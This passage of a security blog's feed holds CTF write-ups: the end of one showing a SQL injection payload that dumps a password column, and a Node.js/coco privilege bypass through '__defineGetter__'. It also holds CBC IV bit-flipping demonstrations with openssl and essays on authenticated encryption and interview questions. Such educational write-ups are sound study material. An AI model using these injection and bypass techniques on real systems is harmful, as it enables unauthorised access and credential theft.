&lt;p&gt;makes the first query to succeed and we don't see any output. So we need to
find a way to restrict the union select to return 0 rows in the first query.
Fortunately there exists the
&lt;a class="reference external" href="https://mariadb.com/kb/en/mariadb/documentation/functions-and-operators/information-functions/found_rows/"&gt;found_rows function&lt;/a&gt;
in mysql, which returns the number of rows found by the last query.
By injecting the following we can get the first query to return 0 rows and
thus we get to the interesting else branch.&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
admni' union select passwd, email from user where found_rows() &amp;gt; 0 -- x
&lt;/pre&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;query: returns 0 rows, name='admni' is false, found_rows() is 0&lt;/li&gt;
&lt;li&gt;query: return 1 row, sounds like 'admni' returns 1 result ('admin'),
found_rows() is 0&lt;/li&gt;
&lt;li&gt;query: returns lots of rows, souds like 'admni' is true, found_rows() is 1
and therefore we get everything in the passwd column.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;...and we got the flag :)&lt;/p&gt;
</content><category term="ctf"></category><category term="ctf"></category><category term="hacklu"></category><category term="sql"></category><category term="php"></category></entry><entry><title>hack.lu CTF 2014 write-up: Objection</title><link href="//f0rki.at/hacklu-ctf-2014-write-up-objection.html" rel="alternate"></link><published>2014-10-26T00:00:00+02:00</published><updated>2014-10-26T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2014-10-26:/hacklu-ctf-2014-write-up-objection.html</id><summary type="html">&lt;p&gt;So we got the source for something that looked like CoffeeScript, but had
really strange string literals. After some investigation I found out, that
this was in fact &lt;a class="reference external" href="https://github.com/satyr/coco"&gt;coco&lt;/a&gt; source code.
Coco in turn is a fork of &lt;a class="reference external" href="http://coffeescript.org/"&gt;CoffeeScript&lt;/a&gt;. Both
compile to JavaScript.
The service allows you to login with …&lt;/p&gt;</summary><content type="html">&lt;p&gt;So we got the source for something that looked like CoffeeScript, but had
really strange string literals. After some investigation I found out, that
this was in fact &lt;a class="reference external" href="https://github.com/satyr/coco"&gt;coco&lt;/a&gt; source code.
Coco in turn is a fork of &lt;a class="reference external" href="http://coffeescript.org/"&gt;CoffeeScript&lt;/a&gt;. Both
compile to JavaScript.
The service allows you to login with the admin password that is read from a
file. If the user is authenticated as admin, he can read the secret token
using the get_token function. The following source file was provided.&lt;/p&gt;
&lt;pre class="code text literal-block"&gt;
const net = require \net
const BufferStream = require \bufferstream

admin_password = (require \fs).readFileSync \admin_password, \utf8


server = net.createServer (con) -&amp;gt;
  console.log 'client connected'
  con.write 'hello!\n'
  client_context =
    is_admin: false
    token: (require \fs).readFileSync \secret_token, \utf8
    login: ([password], cb) -&amp;gt;
      if password == admin_password
        cb &amp;quot;Authentication successful  &amp;quot; + password
        &amp;#64;is_admin = true
      else
        cb &amp;quot;Authentication failed  &amp;quot; + password
    get_token: ([], cb) -&amp;gt;
      if not &amp;#64;is_admin then return cb &amp;quot;You are not authorized to perform this action.&amp;quot;
      cb &amp;quot;The current token is #{&amp;#64;token}&amp;quot;
  console.log client_context
  in_stream = new BufferStream {encoding:\utf8, size:\flexible}
  con.pipe in_stream
  &amp;lt;- in_stream.split \\n
  it .= toString \utf8
  console.log &amp;quot;got line: #{it}&amp;quot;
  [funcname, ...args] = it.split ' '
  if typeof client_context[funcname] != \function
    return con.write &amp;quot;error: unknown function #funcname\n&amp;quot;
  client_context[funcname] args, -&amp;gt;
    con.write &amp;quot;#it\n&amp;quot;

server.listen 1408, -&amp;gt;
  console.log 'server bound'
&lt;/pre&gt;
&lt;p&gt;The whole thing is a kind of sandbox escape, since the command are implemented
by calling methods on the 'client_context' object. The input string is split on
the space character and the first token is the function name. So we can
actually call an arbitrary function on the object. All further tokens are
passed as a string array. So we cannot inject code or something like that.
But wait, let's look at how the the methods of the object are called exactly.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;client_context[funcname] args, -&amp;gt;
  con.write &amp;quot;#it\n&amp;quot;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;First the function is accessed via the name as a string. args is an array of
strings. Then a callback function is passed as the last argument. The '-&amp;gt;'
arrow is CoffeeScript/coco shorthand for defining a function. The '#it' in the
string is syntax for string expansion using the 'it' variable. Because this
variable isn't declared anywhere in the function body coco infers that it must
be an argument to the function. As you can see in this example:&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
$ coco -bce '-&amp;gt; console.log &amp;quot;#it\n&amp;quot;'
(function(it){
  return console.log(it + &amp;quot;\n&amp;quot;);
});
&lt;/pre&gt;
&lt;p&gt;Now to the interesting part: how to get the flag. Let's have a look what
functions a plain object in JavaScript has. So let's fire up a node.js
interpreter and poke around a little bit by hitting tab.&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
&amp;gt; x = {}
{}
&amp;gt; x.
x.__defineGetter__      x.__defineSetter__      x.__lookupGetter__      x.__lookupSetter__
x.constructor           x.hasOwnProperty        x.isPrototypeOf         x.propertyIsEnumerable
x.toLocaleString        x.toString              x.valueOf
&lt;/pre&gt;
&lt;p&gt;&lt;a class="reference external" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__"&gt;__defineGetter__&lt;/a&gt; seems useful, since the properties 'is_admin' and 'token'
are accessed (you can spot properties in CoffeeScript and coco by the &amp;#64;
prefix). It expects the following arguments&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
obj.__defineGetter__(sprop, fun)
&lt;/pre&gt;
&lt;p&gt;Where sprop is the property name and fun is the getter function. This matches
exactly the call of the function in the source file we got. So we can pass the
anonymous callback function as a getter. Since this function takes an argument
'in' as parameter, calling the function without any argument results in 'it'
just being undefined. Concatenating an undefined variable with a string
results in the string &amp;quot;undefined&amp;quot; + the other string. So let's define the
getter for 'is_admin' by sending the following string to the service.&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
__defineGetter__ is_admin
&lt;/pre&gt;
&lt;p&gt;Now if is_admin is accessed, instead the anonymous callback function is
called. Remember it looks like this in CoffeeScript&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
-&amp;gt; con.write &amp;quot;#it\n&amp;quot;
&lt;/pre&gt;
&lt;p&gt;In CoffeeScript/coco the last expression is also the return value of a
function. The anonymous function compiled to JavaScript looks like this:&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
function(it){
    return con.write(it + &amp;quot;\n&amp;quot;);
}
&lt;/pre&gt;
&lt;p&gt;This means this anonymous function will return the return value of the 'write'
method of the con object, which is an socket object. The
&lt;a class="reference external" href="https://nodejs.org/api/net.html#net_socket_write_data_encoding_callback"&gt;socket.write&lt;/a&gt;
function will return true if the entire data was flushed to the kernel buffer.
Since we only write the string &amp;quot;undefinedn&amp;quot;, chances are pretty good this will
happen. So accessing the 'is_admin' property will in fact call this anonymous
callback function and return 'true'. On the way it will write &amp;quot;undefinedn&amp;quot;,
but this doesn't matter since we are suddenly admin :)&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
hello!
__defineGetter__ is_admin
get_token
undefined
The current token is flag{real_cowboys_dont_use_object_create_null}
&lt;/pre&gt;
&lt;p&gt;Hooray :)&lt;/p&gt;
</content><category term="ctf"></category><category term="ctf"></category><category term="hacklu"></category><category term="coco"></category><category term="node.js"></category><category term="CoffeeScript"></category><category term="JavaScript"></category></entry><entry><title>Web Security Hardening</title><link href="//f0rki.at/web-security-hardening.html" rel="alternate"></link><published>2014-07-27T00:00:00+02:00</published><updated>2014-07-27T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2014-07-27:/web-security-hardening.html</id><summary type="html">&lt;p&gt;Last year during my summer internship I had the chance to catch up with current
developments in Web-Security. In particular I had a closer look at mechanisms,
that are used as a second line of defense or hardening mechanisms against
common web attacks. I created drafts of blog entries describing …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last year during my summer internship I had the chance to catch up with current
developments in Web-Security. In particular I had a closer look at mechanisms,
that are used as a second line of defense or hardening mechanisms against
common web attacks. I created drafts of blog entries describing some of the
things I learned. Those posts are now available at my former employers blog.&lt;/p&gt;
&lt;p&gt;If you're not too familiar with web applications and web security this might be
an interesting read:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://limessecurity.com/second-line-defense-web-applications-part-1/index.html"&gt;Introduction&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://limessecurity.com/second-line-defense-web-applications-part-2-xss-filter/index.html"&gt;Client-Side XSS Filter&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://limessecurity.com/second-line-defense-web-applications-part-1-3-content-security-policy/index.html"&gt;Content Security Policy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://limessecurity.com/second-line-defense-web-applications-part-2-1-tls-https/index.html"&gt;HTTP Strict Transport Security&lt;/a&gt;&lt;/p&gt;
</content><category term="security"></category><category term="web"></category><category term="security"></category></entry><entry><title>Is It Really The Worst Interview Question?</title><link href="//f0rki.at/worst-interview-question.html" rel="alternate"></link><published>2014-07-27T00:00:00+02:00</published><updated>2014-07-27T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2014-07-27:/worst-interview-question.html</id><summary type="html">&lt;p&gt;Recently I read &lt;a class="reference external" href="http://www.nomachetejuggling.com/2014/06/24/the-worst-programming-interview-question"&gt;a blog post&lt;/a&gt;
about the supposedly worst programming interview question. So here is the
question:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Write a function that can detect a cycle in a linked list.
&lt;/pre&gt;
&lt;p&gt;Basically the guy that asked the question was testing of whether you've heard
of Floyd's cycle-finding algorithm (aka. the tortoise …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Recently I read &lt;a class="reference external" href="http://www.nomachetejuggling.com/2014/06/24/the-worst-programming-interview-question"&gt;a blog post&lt;/a&gt;
about the supposedly worst programming interview question. So here is the
question:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Write a function that can detect a cycle in a linked list.
&lt;/pre&gt;
&lt;p&gt;Basically the guy that asked the question was testing of whether you've heard
of Floyd's cycle-finding algorithm (aka. the tortoise and hare algorithm) or
not. If you come up with alternative solution he'd just give you more
constraints. The author of the blog post has two major points of criticism
about this question.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;It's a puzzler and it's just testing whether or not you've heard of this
particular algorithm before and you probably won't be able to come up with
the solution that matches the constraints you are given in an interview.&lt;/li&gt;
&lt;li&gt;You'll probably never need to implement this particular algorithm, since
typically a linked list will never contain cycles if you restrict your API
and the language or framework you are using might even prevent you from
mangling with the pointers to create cycles.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;While I consider both points are absolutely legitimate, I don't consider the
question to be the worst interview question. I consider the expectations of the
Interviewer to be bad. I guess there really are no stupid questions.&lt;/p&gt;
&lt;p&gt;So let me ellaborate. The interviwer the author described was expecting to hear
the answer: &amp;quot;Well, I'd implement the tortoise and hare algorithm and it has
that complexity...&amp;quot;. If the applicant doesn't come up with exactly this
algorithm the question is considered to be answered wrongly. Here lies the
error. A smart interviewer could turn this question into the best programming
interview question, if he doesn't expect a particular answer but judges how the
applicant is handling the situation.&lt;/p&gt;
&lt;p&gt;Let's consider the first case: The applicant knows the solution or at least
remembers the name of the algorithm. This shows knowledge on the subject. This
is good. Next question.&lt;/p&gt;
&lt;p&gt;The second case is far more interesting in my opinion. The applicant doesn't
come up with this particular algorithm. Now the interviewer can judge how the
applicant handles the situation. Remember it's an interview, not a test in
college or university. The applicant can start questioning the assignment he
received.
&amp;quot;Why is this particular runtime constraint needed?&amp;quot;, &amp;quot;Is it possible to
guarantee that the given list will never contain cycles by restricting the
interface?&amp;quot; and &amp;quot;Can we restrict the visibility of the pointers in the list?&amp;quot;
are some question I'd ask, if given this assignment in an interview.
This shows that when given a problem and certain constraints the applicant
doesn't just mindlessly apply an algorithm he learned, but thinks about the
problem itself. Maybe it can be avoided all along with little additional
effort, as is often the case.&lt;/p&gt;
&lt;p&gt;Of course this reaction might also be a sign of an applicant, who's all talk
and nothing else, but this is just a single question in an interview. You can't
judge a person by asking a single question. I say there's no harm in mixing
in such a puzzler. It gives opportunity to judge how a person handles this
situation.&lt;/p&gt;
</content><category term="thoughts"></category><category term="thoughts"></category><category term="programming"></category><category term="software-engineering"></category></entry><entry><title>Some Notes on CBC-Mode, IVs and MACs</title><link href="//f0rki.at/some-notes-on-cbc-mode-ivs-and-macs.html" rel="alternate"></link><published>2013-10-28T00:00:00+01:00</published><updated>2013-10-28T00:00:00+01:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2013-10-28:/some-notes-on-cbc-mode-ivs-and-macs.html</id><summary type="html">&lt;p&gt;I recently read this &lt;a class="reference external" href="https://twitter.com/0x00Austin/status/393224038962585601"&gt;tweet&lt;/a&gt; which gave an example for why you should use good
IVs in your crypto. The tweet was:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Why you should always use good IVs in your #crypto http://i.imgur.com/jxUv3ha.png
&lt;/pre&gt;
&lt;p&gt;This is the about the example that was given
&lt;a class="footnote-reference" href="#theexmaple" id="footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ echo 'Give …&lt;/pre&gt;</summary><content type="html">&lt;p&gt;I recently read this &lt;a class="reference external" href="https://twitter.com/0x00Austin/status/393224038962585601"&gt;tweet&lt;/a&gt; which gave an example for why you should use good
IVs in your crypto. The tweet was:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Why you should always use good IVs in your #crypto http://i.imgur.com/jxUv3ha.png
&lt;/pre&gt;
&lt;p&gt;This is the about the example that was given
&lt;a class="footnote-reference" href="#theexmaple" id="footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ echo 'Give Eve $500' &amp;gt; plaintext
$ cat plaintext
Give Eve $500
$ xxd ciphertext
0000000: 53 61 6c 74 65 64 5f 5f 1a 3c cd 23 cc 4c 9f c9  Salted__.&amp;lt;.#.L..
0000010: a6 e2 57 10 7b 8d c3 23 ea 51 01 05 c9 8b 13 9f  ..W.{..#.Q......
$ openssl enc -d -aes-128-cbc -iv 00000000000000000000000000000000 -pass pass:hunter2 -in ciphertext
Give Eve $500
$ openssl enc -d -aes-128-cbc -iv 00000000000000000000030000000000 -pass pass:hunter2 -in ciphertext
Give Eve $600
$ openssl enc -d -aes-128-cbc -iv 00000000000719070000030000000000 -pass pass:hunter2 -in ciphertext
Give Bob $600
&lt;/pre&gt;
&lt;p&gt;At first I liked the example, because of it's simplicity, but then I
thought: Wait this isn't right. What does it have to do with randomness
of the IVs?
If we can manipulate the IV, we can flip any bit in the first block,
regardless of the used IV. So let's do that with a random IV.:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ cat plaintext
Give Eve $500
$ dd if=/dev/random bs=32 count=1 | xxd -p
0+1 records in
0+1 records out
16 bytes (16 B) copied, 0.000186855 s, 85.6 kB/s
01998163763025fd4577eb6f8a55eda5
$ openssl enc -p -aes-128-cbc -iv 01998163763025fd4577eb6f8a55eda5 -pass pass:hunter2 -in plaintext -out ciphertext2
salt=D7163849A12BB340
key=294A8A0A82465FAD3818F430F9BEE1F6
iv =01998163763025FD4577EB6F8A55EDA5
$ openssl enc -d -aes-128-cbc -iv 01998163763025fd4577eb6f8a55eda5 -pass pass:hunter2 -in ciphertext2
Give Eve $500.
$ openssl enc -d -aes-128-cbc -iv 01998163763025fd4577e86f8a55eda5 -pass pass:hunter2 -in ciphertext2
Give Eve $600.
&lt;/pre&gt;
&lt;p&gt;As we can see it's not really more difficult to perform such an attack
with a random IV. (just some XOR calculation) But why does this work again?
Well with CBC mode you always &amp;quot;mix&amp;quot; the last ciphertext block into your
current block, to chain the blocks together. So every change in the plaintext
changes the following ciphertext. But what to mix into the first block? Yes
the IV. So we can write encryption as&lt;/p&gt;
&lt;p&gt;\[ C_i = E_k(P_i \oplus C_{i-1}) \text{ with } C_0 = IV \]&lt;/p&gt;
&lt;p&gt;And decryption is just the same process in reverse:&lt;/p&gt;
&lt;p&gt;\[P_i = D_k(C_i) \oplus C_{i-1} \text{ with } C_0 = IV \]&lt;/p&gt;
&lt;p&gt;Check out wikipedia &lt;a class="footnote-reference" href="#wikicbc" id="footnote-reference-2"&gt;[7]&lt;/a&gt; for a good illustration. But what we can see
immediately is that for \(C_1\) the IV will be XORed against the resulting
plaintext. Since the IV musst be prepended to the message in plain in order for
the decryption to work, it can also be changed and this is why the attack
shown above works.&lt;/p&gt;
&lt;div class="section" id="authenticated-encryption"&gt;
&lt;h2&gt;Authenticated Encryption&lt;/h2&gt;
&lt;p&gt;So what this example actually demonstrates pretty good is that you need
integrity/authenticity protection even though you encrypted the data.
It also shows that you should include your IV in your integrity
protection, when using CBC.&lt;/p&gt;
&lt;p&gt;So that brings us to the discussion of how to combine encryption with
authenticity guarantees.
Apparently the recommended way is to &amp;quot;encrypt-then-mac&amp;quot;, because it
has certain security properties the other ways lack.
E.g. there are ciphers that are malleable, which means an attacker can produce
another valid ciphertext, given one ciphertext &lt;a class="footnote-reference" href="#wikimalleability" id="footnote-reference-3"&gt;[6]&lt;/a&gt;.
This doesn't concern us in the &amp;quot;encrypt-then-mac&amp;quot; case, in other cases
it might.
Although &amp;quot;mac-then-encrypt&amp;quot; and &amp;quot;encrypt-and-mac&amp;quot; are not
per se insecure, they require that decryption is performed on
unauthenticated data, which is intuitively bad (as we have seen in the CBC
example above).
Performing decryption on unauthenticated data has been called
&amp;quot;the cryptographic doom principle&amp;quot; &lt;a class="footnote-reference" href="#thoughtcrime" id="footnote-reference-4"&gt;[3]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So what we would actually need to do, is to combine our primitives to encrypt
and then authenticate the encrypted data and it's parameters.&lt;/p&gt;
&lt;p&gt;\[ C = E_{key, IV}(P) \text{ and } m = HMAC_{key}(IV || C) || IV || C \]&lt;/p&gt;
&lt;p&gt;There have been many advances in the area of combining encryption and
authentication into one &amp;quot;do-it-all&amp;quot; cipher: GCM, EAX, CCM, CWX, to name a
few.
Galois Counter Mode (GCM) is apparently considered the best choice
by the NIST and the NSA &lt;a class="footnote-reference" href="#suiteb" id="footnote-reference-5"&gt;[10]&lt;/a&gt; and also seems to become the best choice
for TLS (which is actually mac-then-encrypt). Apparently it's really hard to
create a reasonably fast AES-GCM implementation in software that is not
vulnerable against timing side channel attacks &lt;a class="footnote-reference" href="#googlesec" id="footnote-reference-6"&gt;[4]&lt;/a&gt;, although if
you have hardware support, e.g. CPUs with AES-NI, it's a really fast and
secure cipher.&lt;/p&gt;
&lt;p&gt;Although these cipher modes have desirable properties, some people argue that
they are too complicated and shouldn't be recommended to developers
&lt;a class="footnote-reference" href="#daemonology" id="footnote-reference-7"&gt;[2]&lt;/a&gt;.  A simple combination of AES in CBC or CTR mode and a
HMAC-SHA256 in the encrypt-then-mac fashion might be good enough
and most of all simple enough to minimize the risk of implementation mistakes.&lt;/p&gt;
&lt;p&gt;Also the combination &amp;quot;ChaCha20-Poly1305&amp;quot; is considered to offer very good
security and very good speed also with software implementations on low-power
devices, such as phones. Google is starting to support this ciphersuite for TLS
connections &lt;a class="footnote-reference" href="#googlesec" id="footnote-reference-8"&gt;[4]&lt;/a&gt;. Patches for NSS and OpenSSL are on the way
&lt;a class="footnote-reference" href="#imperialviolet" id="footnote-reference-9"&gt;[5]&lt;/a&gt;. As I understand ChaCha20 is a stream cipher and the
successor to Salsa20 designed by Daniel J. Bernstein and Poly1305 a MAC, which
utilizes any cipher (first proposed version was using AES, in this case it's
also using ChaCha20) &lt;a class="footnote-reference" href="#chacha20ietf" id="footnote-reference-10"&gt;[9]&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;All in all cryptography is still a pretty complex topics and all efforts to
simplify it for people without security background are probably doomed.
Although some libraries like google's keyczar and the nacl library
seem to be able to do a pretty good job abstracting the
nasty details, while some others don't &lt;a class="footnote-reference" href="#esapiadvisory" id="footnote-reference-11"&gt;[11]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For more information I really advise to read the blog posts &lt;a class="footnote-reference" href="#daemonology" id="footnote-reference-12"&gt;[2]&lt;/a&gt;,
&lt;a class="footnote-reference" href="#googlesec" id="footnote-reference-13"&gt;[4]&lt;/a&gt; and &lt;a class="footnote-reference" href="#thoughtcrime" id="footnote-reference-14"&gt;[3]&lt;/a&gt;. Furthermore any search for &amp;quot;authenticated
encryption&amp;quot; in your favorite search engine should result in enough reading
material on the topic.&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="theexmaple" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://i.imgur.com/jxUv3ha.png"&gt;http://i.imgur.com/jxUv3ha.png&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="daemonology" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[2]&lt;/td&gt;&lt;td&gt;&lt;em&gt;(&lt;a class="fn-backref" href="#footnote-reference-7"&gt;1&lt;/a&gt;, &lt;a class="fn-backref" href="#footnote-reference-12"&gt;2&lt;/a&gt;)&lt;/em&gt; &lt;a class="reference external" href="http://www.daemonology.net/blog/2009-06-24-encrypt-then-mac.html"&gt;http://www.daemonology.net/blog/2009-06-24-encrypt-then-mac.html&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="thoughtcrime" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[3]&lt;/td&gt;&lt;td&gt;&lt;em&gt;(&lt;a class="fn-backref" href="#footnote-reference-4"&gt;1&lt;/a&gt;, &lt;a class="fn-backref" href="#footnote-reference-14"&gt;2&lt;/a&gt;)&lt;/em&gt; &lt;a class="reference external" href="http://www.thoughtcrime.org/blog/the-cryptographic-doom-principle"&gt;http://www.thoughtcrime.org/blog/the-cryptographic-doom-principle&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="googlesec" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[4]&lt;/td&gt;&lt;td&gt;&lt;em&gt;(&lt;a class="fn-backref" href="#footnote-reference-6"&gt;1&lt;/a&gt;, &lt;a class="fn-backref" href="#footnote-reference-8"&gt;2&lt;/a&gt;, &lt;a class="fn-backref" href="#footnote-reference-13"&gt;3&lt;/a&gt;)&lt;/em&gt; &lt;a class="reference external" href="http://googleonlinesecurity.blogspot.co.at/2013/11/a-roster-of-tls-cipher-suites-weaknesses.html"&gt;http://googleonlinesecurity.blogspot.co.at/2013/11/a-roster-of-tls-cipher-suites-weaknesses.html&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="imperialviolet" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-9"&gt;[5]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://www.imperialviolet.org/2013/10/07/chacha20.html"&gt;https://www.imperialviolet.org/2013/10/07/chacha20.html&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="wikimalleability" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-3"&gt;[6]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Malleability_(cryptography"&gt;https://en.wikipedia.org/wiki/Malleability_(cryptography&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="wikicbc" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-2"&gt;[7]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Cipher_block_chaining#Cipher-block_chaining_.28CBC.29"&gt;https://en.wikipedia.org/wiki/Cipher_block_chaining#Cipher-block_chaining_.28CBC.29&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="cryptostackexchange" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[8]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://crypto.stackexchange.com/questions/202/should-we-mac-then-encrypt-or-encrypt-then-mac"&gt;http://crypto.stackexchange.com/questions/202/should-we-mac-then-encrypt-or-encrypt-then-mac&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="chacha20ietf" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-10"&gt;[9]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://tools.ietf.org/html/draft-agl-tls-chacha20poly1305-01"&gt;https://tools.ietf.org/html/draft-agl-tls-chacha20poly1305-01&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="suiteb" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-5"&gt;[10]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://en.wikipedia.org/wiki/NSA_Suite_B"&gt;https://en.wikipedia.org/wiki/NSA_Suite_B&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="esapiadvisory" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-11"&gt;[11]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://owasp-esapi-java.googlecode.com/svn/trunk/documentation/ESAPI-security-bulletin1.pdf"&gt;https://owasp-esapi-java.googlecode.com/svn/trunk/documentation/ESAPI-security-bulletin1.pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="crypto"></category><category term="cryptography"></category><category term="security"></category></entry><entry><title>Current State of Android "Physical" Security</title><link href="//f0rki.at/current-state-of-android-physical-security.html" rel="alternate"></link><published>2013-09-02T00:00:00+02:00</published><updated>2013-09-02T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2013-09-02:/current-state-of-android-physical-security.html</id><summary type="html">&lt;p&gt;About a year ago I gave a talk to my fellow students about the security of
android devices, once you get physical access to them. This post will be pretty
much that talk plus some additional infos and links. You can find the slides
here &lt;a class="footnote-reference" href="#f0rkievilmaid" id="footnote-reference-1"&gt;[1]&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="the-evil-maid-attacks"&gt;
&lt;h2&gt;The Evil Maid Attacks …&lt;/h2&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;About a year ago I gave a talk to my fellow students about the security of
android devices, once you get physical access to them. This post will be pretty
much that talk plus some additional infos and links. You can find the slides
here &lt;a class="footnote-reference" href="#f0rkievilmaid" id="footnote-reference-1"&gt;[1]&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="the-evil-maid-attacks"&gt;
&lt;h2&gt;The Evil Maid Attacks&lt;/h2&gt;
&lt;p&gt;An evil maid attack is an attack that assumes that you leave your device in the
hotel room a maid comes in and has therefore gained physical access to your
device. She then installs malware, dumps data or whatever else is possible. The
classic target is the notebook. Against data theft we can use full disk
encryption. Against malware we will want to harden our device as much as
possible.  Especially preventing booting from anything but our primary HDD.
